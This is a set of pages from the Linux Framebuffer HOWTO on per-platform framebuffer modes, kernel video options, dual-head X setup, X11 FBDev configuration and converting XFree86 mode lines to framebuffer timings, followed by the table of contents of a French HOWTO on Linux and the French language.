This section describes framebuffer options on Atari m68k platforms.

6.1 What modes are available on Atari m68k platforms?

Colours   320x200 320x480 640x200 640x400 640x480 896x608 1280x960
--------+---------------------------------------------------------
 1 bit  |                         sthigh   vga2    falh2   tthigh
 2 bits |                 stmid            vga4
 4 bits | stlow                         ttmid/vga16 falh16
 8 bits |         ttlow                   vga256

ttlow, ttmid and tthigh are only used by the TT, whilst vga2, vga4, vga15, vga256, falh3 and falh16 are only used by the Falcon.

When used with the kernel option video=xxx, and no suboption is given, the kernel will probe for the modes in the following order until it finds a mode that is possible with the given hardware:

  • ttmid
  • tthigh
  • vga16
  • sthigh
  • stmid

You may specify the particular mode you wish to use, if you don't wish to auto-probe for the modes you desire. For example, video=vga16 gives you a 4 bit 640x480 display.

6.2 Additional suboptions on Atari m68k platforms

There are a number of suboptions available with the video=xxx parameter:

  • inverse - inverts the display so that the background/foreground colours are reversed. Normally the background is black, but with this suboption, it gets sets to white.
  • font - sets the font to use in text modes. Currently you can only select VGA8x8, VGA8x16, PEARL8x8. The default is to use the VGA8x8 only if the vertical size of the display is less than 400 pixels, otherwise it defaults to VGA8x16.
  • internal - a very interesting option. See the next section for information.
  • external - as above.
  • monitorcap - describes the capabilities for multisyncs. DON'T use with a fixed sync monitor!

6.3 Using the internal suboption on Atari m68k platforms

Syntax: internal:(xres);(yres)[;(xres_max);(yres_max);(offset)]

This option specifies the capabilities of some extended internal video hardware, i.e OverScan modes. (xres) and (yres) gives the extended dimensions of the screen.

If your OverScan mode needs a black border, you'll need to write the last three arguments of the internal: suboption. (xres_max) is the maximum line length that the hardware allows, (yres_max) is the maximum number of lines, and (offset) is the offset of the visible part of the screen memory to its physical start, in bytes.

Often extended internal video hardware has to be activated, for this you will need the "switches=*" options. [Note: Author would like extra information on this, please. The m68k documentation in the kernel isn't clear enough on this point, and he doesn't have an Atari! Examples would be helpful too]

6.4 Using the external suboption on Atari m68k platforms

Syntax: external:(xres);(yres);(depth);(org);(scrmem)[;(scrlen)[;(vgabase)[;(colw)[;(coltype)[;(xres_virtual)]]]]]

This is quite complicated, so this document will attempt to explain as clearly as possible, but the Author would appreciate if someone would give this a look over and see that he hasn't fscked something up! :o)

This suboption specifies that you have an external video hardware (most likely a graphic board), and how to use it with Linux. The kernel is basically limited to what it knows of the internal video hardware, so you have to supply the parameters it needs in order to be able to use external video hardware. There are two limitations; you must switch to that mode before booting, and once booted, you can't change modes.

The first three parameters are obvious; gives the dimensions of the screen as pixel height, width and depth. The depth supplied should be the number of colours is 2^n that of the number of planes required. For example, if you desire to use a 256 colour display, then you need to give 8 as the depth. This depends on the external graphic hardware, though so you will be limited by what the hardware can do.

Following from this, you also need to tell the kernel how the video memory is organised - supply a letter as the (org) parameter

  • n - use normal planes, i.e one whole plane after another
  • i - use interleaved planes, i.e. 16 bits of the first plane, then the 16 bits of the next plane and so on. Only built-in Atari video modes uses this - and there are no graphic card that supports this mode.
  • p - use packed pixels, i.e consecutive bits stands for all planes for a pixel. This is the most common mode for 256 colour displays on graphic cards.
  • t - use true colour, i.e this is actually packed pixels, but does not require a colour lookup table like what other packed pixel modes uses. These modes are normally 24 bit displays - gives you 16.8 million colours.

However, for monochrome modes, the (org) parameter has a different meaning

  • n - use normal colours, i.e 0=white, 1=black
  • i - use inverted colours, i.e. 0=black, 1=white

The next important item about the video hardware is the base address of the video memory. That is given by the (scrmem) parameter as a hexadecimal number with an 0x prefix. You will need to find this out from the documentation that comes with your external video hardware.

The next paramter (scrlen) tells the kernel about the size of the video memory. If it's missing, this is calculated from the (xres), (yres) and (depth) parameters. It's not useful to write a value here these days anyway. To leave this empty, give two consecutive semicolons if you need to give the (vgabase) parameter, otherwise, just leave it.

The (vgabase) parameter is optional. If it isn't given, the kernel can't read/write any colour registers of the video hardware, and thus you have to set up the appropriate colours before you boot Linux. But if your card is VGA compatible, you can give it the address where it can locate the VGA register set so it can change the colour lookup tables. This information can be found in your external video hardware documentation. To make this clear, (vgabase) is the base address, i.e a 4k aligned address. For reading/writing the colour registers, the kernel uses the address range between (vgabase) + 0x3c7 and (vgabase) + 0x3c9. This parameter is given in hexadecimal and must have a 0x prefix, just like (scrmem).

(colw) is only meaningful, if the (vgabase) parameter is specified. It tells the kernel how wide each of the colour register is, i.e the number of bits per single colour (red/green/blue). Default is usually 6 bits, but it is also common to specify 8 bits.

(coltype) is used with the (vgabase) parameter, it tells the kernel about the colour register model of your graphic board. Currently the types supported are vga and mv300. vga is the default.

(xres_virtual) is only required for the ProMST/ET4000 cards where the physical linelength differs from the visible length. With ProMST, you need to supply 2048, whilst for ET4000, it depends on the initialisation of the video board.


Framebuffer HOWTO: Using framebuffer devices on Amiga m68k platforms

 Next Previous Contents

7. Using framebuffer devices on Amiga m68k platforms

This section describes the options for Amigas, which are quite similiar to that for the Atari m68k platforms.

7.1 What modes are available for Amiga m68k platforms?

This depends on the chipset used in the Amiga. There are three main ones; OCS, ECS and AGA which all uses the colour frame buffer device.

  • NTSC modes
    • ntsc - 640x200
    • ntsc-lace - 640x400
  • PAL modes
    • pal - 640x256
    • pal-lace - 640x512
  • ECS modes - 2 bit colours on ECS, 8 bit colours on AGA chipsets only.
    • multiscan - 640x480
    • multiscan-lace - 640x960
    • euro36 - 640x200
    • euro36-lace - 640x400
    • euro72 - 640x400
    • euro72-lace - 640x800
    • super72 - 800x300
    • super72-lace - 800x600
    • dblntsc - 640x200
    • dblpal - 640x256
    • dblntsc-ff - 640x400
    • dblntsc-lace - 640x800
    • dblpal-ff - 640x512
    • dblpal-lace - 640x1024
  • VGA modes - 2 bit colours on ECS, 8 bit colours on AGA chipsets only.
    • vga - 640x480
    • vga70 - 640x400

7.2 Additional suboptions on Amiga m68k platforms

These are similar to the Atari m68k suboptions. They are:

  • depth - specifies the pixel bit depth.
  • inverse - does the same thing as the Atari suboption.
  • font - does the same thing as the Atari suboption, although the PEARL8x8 font is used instead of VGA8x8 font, if the display size is less than 400 pixel wide.
  • monitorcap - specifies the capabilities of the multisync monitor. Do not use with fixed sync monitors.

7.3 Supported Amiga graphic expansion boards

  • Phase5 CyberVision 64 (S3 Trio64 chipset)
  • Phase5 CyverVision 64-3D (S3 ViRGE chipset)
  • MacroSystems RetinaZ3 (NCR 77C32BLT chipset)
  • Helfrich Piccolo, SD64, GVP ECS Spectrum, Village Tronic Picasso IIII+ and IV/ (Cirrus Logic GD542x/543x)


Framebuffer HOWTO: Using framebuffer devices on Macintosh m68k platforms

 Next Previous Contents

8. Using framebuffer devices on Macintosh m68k platforms

Currently, the framebuffer device implemented only supports the mode selected in MacOS before booting into Linux, also supports 1, 2, 4 and 8 bit colours modes.

Framebuffer suboptions are selected using the following syntax

video=macfb:<font>:<inverse>

You can select fonts such as VGA8x8, VGA8x16 and 6x11 etc. The inverse option allows you to use reverse video.


Framebuffer HOWTO: Using framebuffer devices on PowerPC platforms

 Next Previous Contents

9. Using framebuffer devices on PowerPC platforms

The author would love to receive information on the use of framebuffers on this platform.


Framebuffer HOWTO: Using framebuffer devices on Alpha platforms

 Next Previous Contents

10. Using framebuffer devices on Alpha platforms

10.1 What modes are available to me?

So far, there is only the TGA PCI card - which only does 80x30 with a resolution of 640x480 at either 8 bits or 24/32 bits.

10.2 Which graphic cards can work with the frambuffer device?

This lists all the graphic cards that are known to work:

  • DEC TGA PCI (DEC21030) - 640x480 @ 8 bit or 24/32 bit versions


Framebuffer HOWTO: Using framebuffer devices on SPARC platforms

 Next Previous Contents

11. Using framebuffer devices on SPARC platforms

11.1 Which graphic cards can work with the framebuffer device?

This lists all the graphic cards available:

  • MG1/MG2 - SBus or integrated on Sun3 - max. 1600x1280 @ mono (BWtwo)
  • CGthree - Similar to MG1/MG2 but supports colour - max resolution ?
  • GX - SBus - max. 1152x900 @ 8bit (CGsix)
  • TurboGX - SBus - max. 1152x900 @ 8 bit (CGsix)
  • SX - SS10/SS20 only - max. 1280x1024 @ 24 bit - (CGfourteen)
  • ZX(TZX) - SBus - accelerated 24bit 3D card - max resolution ? (Leo)
  • TCX - AFX - for Sparc 4 only - max. 1280x1024 @ 8bit
  • TCX(S24) - AFX - for Sparc 5 only - max. 1152x900 @ 24bit
  • Creator - SBus - max. 1280x1024 @ 24bit (FFB)
  • Creator3D - SBus - max. 1920x1200 @ 24bit (FFB)
  • ATI Mach64 - accelerated 8/24bit for Sparc64 PCI only

There is the option to use the PROM to output characters to the display or to a serial console.

Also, have a look at the Sparc Frame Buffer FAQ at

http://c3-a.snvl1.sfba.home.com/Framebuffer.html

11.2 Configuring the framebuffer devices

During make config, you need to choose whether to compile promcon and/or fbcon. You can select both, but if you do this, you will need to set the kernel flags to select the device. fbcon always takes precedence if not set. If promcon is not selected in, on boot up, it defaults to dummycon. If promcon is selected, it will use this device. Once the buses are booted, and fbcon is compiled in, the kernel probes for the above framebuffers and will use fbcon. If there is no framebuffer devices, it will default to promcon.

Here are the kernel options

video=sbus:options
        where options is a comma separated list:
                nomargins       sets margins to 0,0
                margins=12x24   sets margins to 12,24 (default is computed
from resolution)
                off             don't probe for any SBus/UPA framebuffers
                font=SUN12x22   use a specific font

So for example, booting with

 video=sbus:nomargins,font=SUN12x22
gives you a nice fast text console with a text resolution of 96x40, looks similar to a Solaris console but with colours and virtual terminals just like on the Intel platform.

If you want to use the SUN12x22 font, you need to enable it during make config (disable the fontwidth != 8 option). The accelerated framebuffers can support any font width between 1 to 16 pixels, whilst dumb frame buffers only supports 4, 8, 12 and 16 pixel font widths.

It is recommended that you grab a recent consoletools packages.


Framebuffer HOWTO: Using framebuffer devices on MIPS platforms

 Next Previous Contents

12. Using framebuffer devices on MIPS platforms

There is no need to change anything for this platform, this is all handled for you automatically. Indys in particular are hardwired to use a console size of 160x64. However, moves are afoot to rewrite the console code for these Indys, so keep an eye on this section.


Framebuffer HOWTO: Using framebuffer devices on ARM platforms

 Next Previous Contents

13. Using framebuffer devices on ARM platforms

13.1 Netwinders

For the Netwinders (which uses the ARM SA110 RISC chip - a lovely British processor), there are two versions of the Cyber2000 framebuffer driver - one for 2.0.x kernels and one for 2.2.x kernels. It is quite straightforward to enable and use this driver on both kernels, however, the older version is hardcoded for depth and resolution (blech), but the good news is that the newer version in the 2.2.x kernels is much more flexible, but currently in a state of flux as it is still in development. To get this up and running, your best bet is to read the documentation that comes with the ARM port of the kernel sources.

The Netwinders uses a VGA compatible chipset, but unfortunately noone has ported vgafb to it yet. That might happen if someone has some time on their hands. [I would do it if someone would give me a NetWinder to play with]

13.2 Acorn Archimedes

Acorns have always had framebuffer support since the Linux 1.9.x days. However the Acornfb driver in 2.2.x is totally new since the generic framebuffer interface changed during the development of 2.1.x kernels (which, of course, became 2.2.x). As previously, it is a simple matter to activate the driver and set depths and resolutions.

13.3 Other ARM ports (SA 7110s et. al)

Surprisingly, there is even a framebuffer driver for the Psion 5 and the Geofox! I have been told that it displays the Penguin quite well. [Someone please donate me a Psion 5!]


Framebuffer HOWTO: Using multi-headed framebuffers

 Next Previous Contents

14. Using multi-headed framebuffers

This part of the document was very kindly donated by Frederick A. Niles, who retains all rights to the information contained herewith this section of the HOWTO.

14.1 Introduction

The main goal of this document is to get you started with running a dual head configuration of Linux. While this process is pretty straight forward there are numerous things that one can do wrong along the way.

The example I concentrate on is getting an X-server running on a second monitor. I find this nice as you can usually find old large 19" to 21" fixed frequency monitors around that people are giving away because they can't use them. This way you can boot off a small multisync and then use X on a nice big monitor.

Please understand dual head support is currently developing so this information changes rapidly. Anything in this document could be out of date or just plain incorrect by the time you are reading this.

** WARNING ** This document was written before any XFree86 4.0 release. If you are reading this and XFree86 4.0 is already released many things may have changed. Try getting a newer version of this document if it's available.

14.2 Feedback

Feedback is most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. So, please post your additions, comments and criticisms to: Frederick.A.Niles@gsfc.nasa.gov.

14.3 Contributors

The following people have contributed to this mini-HOWTO.

* Petr Vandrovec vandrove@vc.cvut.cz

* Andreas Ehliar ehliar@lysator.liu.se (x2x)

* Marco Bizzarri m.bizzarri@icube.it (multiple X servers)

14.4 Standard Disclaimer

No liability for the contents of this document can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies that could be damaging to your system. Proceed with caution, and although this is highly unlikely, I don't take any responsibility for that.

14.5 Copyright Information

This section of the document is copyrighted (c)1999 Frederick Niles and distributed under the following terms:

* Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

* All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

* If you have questions, please contact, the Linux HOWTO coordinator, at linux-howto@sunsite.unc.edu

14.6 What hardware is supported?

Most video cards assume they will be the only one in the system and are permanently set with the addressing of the primary display adapter. There are a few exceptions.

* Matrox cards: This includes Matrox Millennium, Matrox Millennium II, Matrox Mystique, Matrox Mystique 220, Matrox Productiva G100, Matrox Mystique G200, Matrox Millennium G200 and Matrox Marvel G200 video cards

* MDA: This includes monochrome Hercules graphics adapter among others. This for text only second head support.

Note: it's only the second adapter that has to be one of the above.

14.7 Commercial support

This mini-HOWTO in primarily concerned with free software. However, there are commercial X servers with multi-head support. These include Metro Link's (www.metrolink.com) Metro-X and Xi Graphics' (www.xig.com) Accelerated-X.

14.8 Getting all the stuff.

You'll need the following patches and programs:

* "fbset" program try:

http://www.cs.kuleuven.ac.be/~geert/bin/
(note: this program comes with RedHat 6.0)

* "fbaddon" Matrox dual head patches for Linux kernel try:

ftp://platan.vc.cvut.cz/pub/linux/matrox-latest/

* "con2fb" program try:

ftp://platan.vc.cvut.cz/pub/linux/matrox-latest/

* The X11 frame buffer server XF86_FBDev. This is a standard part of XFree86 3.3.1.

14.9 Getting Started

The first thing you'll need to do is to patch a copy of the Linux source with the "fbaddon" patch. Then you need to configure the kernel and turn on frame buffer support. If you have Matrox cards turn on Matrox unified accelerated driver support as well as the particular type of card you have. Don't turn on VESA frame buffer support. It can cause a conflict. Do turn on multi-head support (obviously). Build the kernel and reboot.

Now you need to install the "fbset" program and carefully read all the documentation on how to adjust the settings. Using a "/etc/fb.modes" file is highly recommended once you've decided on your settings. The fbset program includes a Perl script to convert your XF86Config file to fb.modes settings. I've included my octave/Borne shell script to convert your XF86Config file in Appendix A & B.

You need to get comfortable with using the frame buffer device on one monitor, understanding any issues that can arise from your set up that have nothing to do with multi-head support. This can save a lot of head scratching later.

I'm going to concentrate my explanation on getting X running on the second monitor as doing most other configurations will just be a obvious subset of the procedure.

Move a console over...

Compile the "con2fb" program. If you run it without any arguments you'll get the following usage message:

"usage: con2fb fbdev console".

Thus, an example command would be "con2fb /dev/fb1 /dev/tty6" to move virtual console number six over to the second monitor. Use Ctrl-Alt-F6 to move over to that console and see that it does indeed show up on the second monitor.

Use "fbset" to adjust the setting on this second monitor

Only set the "fbset" settings on the monitor you run the "fbset" command on. Therefore, you must be careful to use the "-fb" flag on the second monitor. In particular, if you do nothing else you'll probably want to at least set the virtual vertical resolution to your actually vertical resolution.

e.g. "fbset -fb /dev/fb1 -vyres 600"

This will seriously slow down text mode, but X will be obnoxious without it.

Set up X for Frame Buffer support.

The framebuffer.txt file explains this better than I can, but here's the two important points.

Make sure you set the link for "X" to point to "XF86_FBDev".

Next you need to add a monitor section to your XF86Config file for the frame buffer device. Here's an example:

# The Frame Buffer server

Section "Screen"
    Driver      "fbdev"
    Device      "Millennium"
    Monitor     "NEC MultiSync 5FGp"
    Subsection "Display"
        Depth       8
        Modes       "default"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       16
        Modes       "default"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       24
        Modes       "default"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       32
        Modes       "default"
        ViewPort    0 0
    EndSubsection
EndSection

Use the "default" modes as I don't think any other one will work with the Matrox frame buffer.

Try starting the X server on the second monitor.

Set the variable FRAMEBUFFER to the second frame buffer.

"export FRAMEBUFFER=/dev/fb1"

or

"setenv FRAMEBUFFER /dev/fb1"

You need to start the X server so that it both matches the selected color depth and it appears on the same monitor you start the X server from.

e.g. "startx -- :0 -bpp 16 vt06"

This example will start the "zeroth" X server on virtual console six with 16 bit color. Using ":1" when launching another X server for the other frame buffer will allow you to have two X servers running.

14.10 Summary

The steps involved in getting an X server running on a second monitor can be summarized as follows:

* Get the kernel patch, fbset, and con2fb.

* Patch the kernel, configure, rebuild, and reboot.

* Add XF86_FBDev section to XF86Config file and set X link.

Then each time you reboot:

* Move a console over. e.g. "con2fb /dev/fb1 /dev/tty6"

* Adjust the settings e.g. "fbset -fb /dev/fb1 1280x1024"

* Set the FRAMEBUFFER. e.g. "export FRAMEBUFFER=/dev/fb1"

* Start the X server. e.g. "startx -- -bpp 16 vt06"

You can automate this each time you reboot via a shell alias. It must be an alias and not a shell script since it needs to detect the current console number. This is my C-shell alias to start up X on a second fixed frequency monitor:

alias startxfb = "
setenv FRAMEBUFFER /dev/fb\!*;    # Set the env var to the cmd arg.
con2fb $FRAMEBUFFER /dev/$tty;    # Move the fb to the current tty.
fbset -fb $FRAMEBUFFER 1280x1024@62;  # Favorite from /etc/fb.modes
startx -- :\!* -bpp 16 vt0`echo $tty | cut -dy f 2`' # X on this tty.
"

In my .cshrc file these are all on the same line together without the comments, but it's easier to read here with line breaks and comments inserted. I just give the number of the frame buffer as an argument and it starts right up.

I'm not sure how to do this same alias in bash. I don't know how to determine the current tty or get the arguments to an alias in bash. If someone lets me know I'll insert it here. However, you can use the "tty" command to get the name of the current VT and just make two separate aliases for each X server.

14.11 Other Notes and Problems

* Both "fbset" and "startx" MUST be run from the same frame buffer as the one being affected. This places serious limits on how much of these commands can be automated via scripts.

* XFree86 4.0 will have "proper" multi-head support, but 3.3.1 does not. You can run two servers with 3.3.1 and use x2x to switch between them however...(see the next bullet)

* The inactive frame buffer will just hold the last image of when it was active, no updates with occur.

* The monitor that's not selected doesn't always preseve it's state when not active. (But it usually does.)

* Geert Uytterhoeven (the frame buffer maintainer) and Linus Torvalds don't agree with the current "frame buffer per VT" multi-head console support changes (i.e. fbaddon) so it may never be in the mainstream kernel tree. (This was heard third hand and may be wildly untrue.)

* If you "break the rules" and start the X server (run "startx") from a different monitor, the machine can eventually crash badly with the keyboard and mouse input all mixed together.

* The documentation framebuffer.txt in the kernel source explains that you can use the Modeline settings in your XF86Config file directly when running X. Using the Matrox frame buffer seems to force the X server to drop all of those. So you can only have the one ("default") setting at at time (the same one you had in text mode).

* The XF86_FBDev is unaccelerated. However, there are patches for accelerated Matrox support at

http://www.in-berlin.de/User/kraxel/xfree86/

Getting "init level five" (i.e. xdm/gdm) to work

I have not yet figured out a way to boot with init level 5 with a dual monitor configuration (and actually have the server on either the second montior or both). While it seems easy enough to add a line to the gdm/xdm Xservers file, the constrain that you must start the X server from the same frame buffer prevents the obvious solution from working. If anyone finds a way please e-mail me and I'll add it here.

Using the x2x program.

There's a nice little program called x2x that will switch X servers for you when you get to the edge of the screen. Last known home for this program was:

http://ftp.digital.com/pub/DEC/SRC/x2x/
It's also an optional Debian package. I haven't tried it yet but some users have reported success.

Other useful commands

These are existing linux commands that are worth remembering when dealing with a multi-head configuration (especially in writing scripts).

* "chvt" will allow you to switch between virtual terminals.

* "openvt" start a program on a new virtual terminal (VT).

* "tty" will report the name of the current terminal.

Appendix A. Octave cvtmode.m script

(note the bpp setting)

#!/usr/bin/octave -q
bpp = 16;
DCF = sscanf(argv(1,:), "%f");
HR  = sscanf(argv(2,:), "%f");
SH1 = sscanf(argv(3,:), "%f");
SH2 = sscanf(argv(4,:), "%f");
HFL = sscanf(argv(5,:), "%f");
VR  = sscanf(argv(6,:), "%f");
SV1 = sscanf(argv(7,:), "%f");
SV2 = sscanf(argv(8,:), "%f");
VFL = sscanf(argv(9,:), "%f");
pixclock = 1000000 / DCF;
left_margin = HFL - SH2;
right_margin = SH1 - HR;
hsync_len = SH2 - SH1;

# 3) vertical timings:
upper_margin = VFL - SV2;
lower_margin = SV1 - VR;
vsync_len = SV2 - SV1;

RR = DCF / (HFL * VFL) *1e6;
HSF = DCF / HFL * 1e3;

printf("mode \"%dx%d\"\n",HR,VR);
printf("   # D: %3.2f MHz, H: %3.2f kHz, V: %2.2f Hz\n", DCF, HSF, RR);
printf("   geometry %d %d %d %d %d\n", HR, VR, HR, VR, bpp);
printf("   timings %d %d %d %d %d %d %d\n", ...
                                 pixclock, left_margin, right_margin, ...
                                 upper_margin, lower_margin, ...
                                 hsync_len, vsync_len);
printf("endmode\n");

Appendix B. Borne Shell script "cvtfile"

(This calls the octave script "cvtmode")

#!/bin/sh

# Shell script to convert XF86Config file to fb.modes file.
# Uses octave script cvtmode.m

if [ -z $1 ]; then
  FILE=/etc/X11/XF86Config
else
  FILE=$1
fi

i=1
LEN=`grep Modeline $FILE | wc -l`
while expr $i \< $LEN > /dev/null ;
do
  CURLINE=`grep Modeline $FILE | cut -d'"' -f 3-20 | head -$i | tail -1 `
  ./cvtmode.m $CURLINE
  echo " "
  i=`expr $i + 1`
done


Framebuffer HOWTO: Using/Changing fonts

 Next Previous Contents

15. Using/Changing fonts

To get the capability to change fonts, you need kbd-0.99. You may obtain this from

ftp://ftp.win.tue.nl/pub/linux/utils/kbd

One advantage of downloading and installing kbd-0.99 is that you will be able to load international fonts (i.e Euro symbol) into your console device (It is tres chic to have three symbols on my keyboard, the dollar sign, the English pound sign and the Euro sign!).


Framebuffer HOWTO: Changing console modes

 Next Previous Contents

16. Changing console modes

To get the capability to change modes (i.e 640x480, 800x800 etc), you need fbset (currently fbset-19990118.tar.gz) - you may ftp it from:

http://www.cs.kuleuven.ac.be/~geert/bin/fbset-19990118.tar.gz

This comes with a full set of instructions on how to operate this.


Framebuffer HOWTO: Setting up the X11 FBdev driver

 Next Previous Contents

17. Setting up the X11 FBdev driver

If you are not using XFree86 3.3.3.1 or later, you are urged to upgrade to XFree86 3.3.3.1 - it includes a FBdev X driver for framebuffer devices. Otherwise, follow the steps below to either download or build your own FBdev driver for older XFree86 versions such as 3.3.2, 3.3.3 etc.

Go to

http://www.xfree86.org
, and download the latest XServers source archive, unpack, and configure the drivers, following these steps:

  • Edit xc/config/cf/xf86site.def, uncomment the #define for XF68FBDevServer
  • Comment out all references to FB_VISUAL_STATIC_DIRECTCOLOR, as these are bogus and aren't used any more. If you are using XFree86 3.3.3.1, there is no need to do this step - as they have removed this.
  • Edit xc/programs/Xserver/hw/xfree86/os-support/linux/lnx_io.c, and change K_RAW to K_MEDIUMRAW.

and then build the driver. Don't worry about the m68k references, it supports Intel platforms. Then build the whole thing - it'll take a long time though as it's a large source tree.

Alternatively, if you don't have the time to spare, you can obtain the binaries from the sites below. Please note that these are 'unofficial' builds and you use them at your risk.

For libc5, use the one at:

http://user.cs.tu-berlin.de/~kraxel/linux/XF68_FBDev.gz
For glibc2, download from these URLs.

http://user.cs.tu-berlin.de/~kraxel/linux/XF68_FBDev.libc6.gz
http://pobox.com/~brion/linux/fbxserver.html

There have been reports that X11 is non functional on certain graphic cards with this vesafb feature enabled, if this is happening, try the new XF86_FBdev driver for X11.

This driver, along with vesafb can also help run X11 in higher graphic resolutions with certain graphic chipsets which are not supported by any of the current X11 drivers. Examples are MGA G-200 et. al.

To configure the XF86_FBdev driver with your X11 system, you'll need to edit your XF86Config for the following:

Section "Screen"
        Driver          "FBDev"
        Device          "Primary Card"
        Monitor         "Primary Monitor"
        SubSection      "Display"
                Modes           "default"
        EndSubSection
EndSection

You'll also need to set XkbDisable in the keyboard section as well, or invoke the XF86_FBDev server with the '-kb' option to set up your keyboard so it works properly. If you forget to set XkbDisable, you will have to put the following lines in your .Xmodmap to straighten out the keyboard mappings. Alternatively, you can edit your xkb to reflect the list below.

This is fixed in XFree86 3.3.3.1, and it is a good idea to upgrade to this version anyway because there are quite a few bug fixes, and also, it includes FBDev as one of the drvers, as I've mentioned previously.

! Keycode settings required
keycode 104 = KP_Enter
keycode 105 = Control_R
keycode 106 = KP_Divide
keycode 108 = Alt_R Meta_R
keycode 110 = Home
keycode 111 = Up
keycode 112 = Prior
keycode 113 = Left
keycode 114 = Right
keycode 115 = End
keycode 116 = Down
keycode 117 = Next
keycode 118 = Insert
keycode 119 = Delete

You may need to do some fiddling around with this (try copying the original definition from the original X11 driver that you were using and editing the name of the driver to FBDev), but basically this is what you need to do to use the vesafb X11 driver.

Hopefully the X11 problems with supported graphic cards will be fixed in future releases.


Framebuffer HOWTO: How do I convert XFree86 mode-lines into framebuffer device timings?

 Next Previous Contents

18. How do I convert XFree86 mode-lines into framebuffer device timings?

If you have XFree86 (X11) installed on your machine, and you can use it successfully, it is a simple matter to convert the mode-lines in your XF86Config to the required timings needed by the framebuffer devices.

The framebuffer device requires the following fields

  • pixclock - pixel clock in pico seconds
  • left_margin - time fron sync to picture
  • right_margin - time from picture to sync
  • upper_margin - time from sync to picture
  • lower_margin - time from picture to sync
  • hsync_len - length of horizontal sync
  • vsync_len - length of vertical sync

An XFree86 mode line has the following fields

Modeline  "1280x1024" DCF HR SH1 SH2 HFL VR SV1 SV2 VFL

It is necessary to do some simple calculations to translate the XF86 mode-lines into a set of framebuffer device timings. As an example, we shall examine how to convert a mode-line taken from my XF86Config file.

Modeline  "1280x1024" 110.00 1280 1328 1512 1712 1024 1025 1028 1054

First, calculate the required pixclock rate. XFree86 uses megahertz whilst framebuffer devices uses picoseconds (Why, I don't know). Divide one million by DCF. For example, 1,000,000 / 110.0 = 9090.9091

Now we need to calculate the horizontal timings.

  • left_margin = HFL - SH2
  • right_margin = SH1 - HR
  • hsync_len = SH2 - SH1

In our example, this would be:

  • left_margin = 1712 - 1512 = 200
  • right_margin = 1328 - 1280 = 48
  • hsync_len = 1512 - 1328 = 184

And now we need to calculate the vertical timings.

  • upper_margin = VFL - SV2
  • lower_margin = SV1 - VR
  • vsync_len = SV2 - SV1

For our example, this would be:

  • upper_margin = 1054 - 1028 = 26
  • lower_margin = 1025 - 1024 = 1
  • vsync_len = 1028 - 1025 = 3

Now we can use this information to set up the framebuffer for the desired mode. For example, for the matroxfb framebuffer, it requires:

video=matrox:xres:<>,yres:<>,depth:<>,left:<>,right:<>,hslen:<>,upper:<>,lower:<>,vslen:<>

I put in my /etc/lilo.conf the following line:

append = "video=matrox:xres:1280,yres:1024,depth:32,left:200,right:48,hslen:184,upper:26,lower:0,vslen:3"

Note that in this case the pixclock isn't used. It's only necessary if you don't like the default pixclock rates. You can supply this as a parameter as well. Setting the pixclock is documented in other parts of this HOWTO.


Framebuffer HOWTO: Changing the Linux logo

 Next Previous Contents

19. Changing the Linux logo

It can be customised by changing the file linux_logo.h in include/linux directory. its a c header and pretty hard to change by hand however there is a plugin available for gimp

http://registry.gimp.org/detailview.phtml?plugin=Linux+Logo
that will create one for you. all you need is a picture 80x80 with less than 224 colours. you can either let the plug in create the 3 varieties (2,16,224) or create them yourself and use them with the plug-in. it will ask you where you want to store the file and if you are game you can put it in ($SRCDIR)/include/linux/linux_logo.h. once that is finished all you need to do is recompile the kernel as usual, reboot, and if framebuffer is working you will see your new logo upon bootup.


Framebuffer HOWTO: Looking for further information?

 Next Previous Contents

20. Looking for further information?

For those of you interested in working with the framebuffer drivers, point your browser at

http://www.linux-fbdev.org
for information on programming.

French speakers, there is a translation at

http://www.freenix.org/unix/linux/HOWTO/mini/Vesafb.html


Le Francophones-HOWTO : Linux & la langue française

Écrit par Guylhem Aznar, <guylhem(à)metalab.unc.edu>

v3.2.2 ; Décembre 2001

Copyright © 1997, 1998, 1999, Guylhem Aznar ; librement distribuable selon les termes du GNU Free Documentation License, http://www.fsf.org/licenses/fdl.html. Toutes les marques citées appartiennent à leurs propriétaires respectifs.

1. Présentation

  • 1.1 Introduction
  • 1.2 Fichiers utilisés dans ce HOWTO
  • 1.3 Les Français ne sont pas les seuls francophones !
  • 1.4 Attention

2. Les problèmes

  • 2.1 Présentation
  • 2.2 Solutions
  • 2.3 Aider

3. Le vocabulaire : petit lexique

  • 3.1 8 bits
  • 3.2 La police de caractères
  • 3.3 Les polices de caractères
  • 3.4 Table de clavier
  • 3.5 « Home », « End », « Page_Up » et « Page_Down »
  • 3.6 Touches mortes
  • 3.7 « BackSpace » et « Delete »
  • 3.8 « UTC » et « GMT »

4. Réglage du clavier sous Linux

  • 4.1 Introduction
  • 4.2 Attention au stty !
  • 4.3 Faire de ces modifications les défauts au démarrage
  • 4.4 Polices de caractère
  • 4.5 Vieilles versions
  • 4.6 Améliorations spécifiques au clavier français latin9
  • 4.7 Pour les autres claviers latin9
  • 4.8 Dans tous les cas

5. XFree

  • 5.1 Introduction
  • 5.2 Mal programmer
  • 5.3 Le clavier en pratique
  • 5.4 « latin9 » ou « latin1 » ?
  • 5.5 Table de correspondances
  • 5.6 Les polices ISO 8859-15 latin 9 sous X

6. Réglage du clavier pour les applications en mode texte

  • 6.1 Tout d'abord
  • 6.2 Une police, des polices...
  • 6.3 Les locales, messages en Français
  • 6.4 Son linux en français
  • 6.5 Les variables
  • 6.6 Les caractères 8 bits dans les programmes utilisant readline tels bash ou ncftp...
  • 6.7 zsh
  • 6.8 tcsh
  • 6.9 Pour tous les shells
  • 6.10 L'heure
  • 6.11 vi
  • 6.12 Emacs
  • 6.13 less
  • 6.14 ls
  • 6.15 flex
  • 6.16 elm
  • 6.17 col
  • 6.18 rlogin
  • 6.19 joe
  • 6.20 TeX et LaTeX
  • 6.21 Manuel
  • 6.22 Correcteur orthographique ispell
  • 6.23 Les claviers 105 touches
  • 6.24 PGP
